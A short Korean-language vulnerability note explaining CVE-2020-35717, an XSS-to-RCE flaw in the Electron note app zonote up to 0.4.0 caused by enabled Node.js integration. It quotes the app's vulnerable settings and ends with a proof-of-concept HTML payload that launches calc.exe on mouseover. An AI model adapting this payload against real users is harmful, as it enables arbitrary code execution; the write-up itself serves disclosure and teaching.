[하루한줄] CVE-2020-35717: RCE through XSS
URL
Target
zonote <= 0.4.0
Explain
문서 작성 Electron App인 zonote에서 RCE 취약점이 공개되었습니다. zonote 문서에 마크다운과 html을 삽입해 XSS(Cross-Site-Script) 공격을 할 수 있는데 악용 범위를 RCE까지 확장할 수 있습니다.
It is paramount that you do not enable Node.js integration in any renderer (
BrowserWindow
,BrowserView
, or<webview>
) that loads remote content.
Electron의 공식문서에 따르면 원격 콘텐츠에 접근하는 모든 renderer는 Node.js intergration이 비활성화되어있어야 합니다. XSS 취약점이 존재해도 그 악용 범위를 renderer 내부로 제한하기 위해 Electron 5.0.0부터 권장해온 기본 설정입니다.
- 다음은 zonote의 main.js코드 일부입니다.
const browserWindowsOptions = {
...
webPreference: {
nodeIntergration : true,
enableRemoteModule : true
}
}
Node.js intergration이 활성화되어있으므로 XSS를 통한 RCE 취약점이 존재합니다.
- PoC
<a onemouseover="
try{
const {shell} = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe')
}catch(e){
console.error(e)
}">Hover Me</a>
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.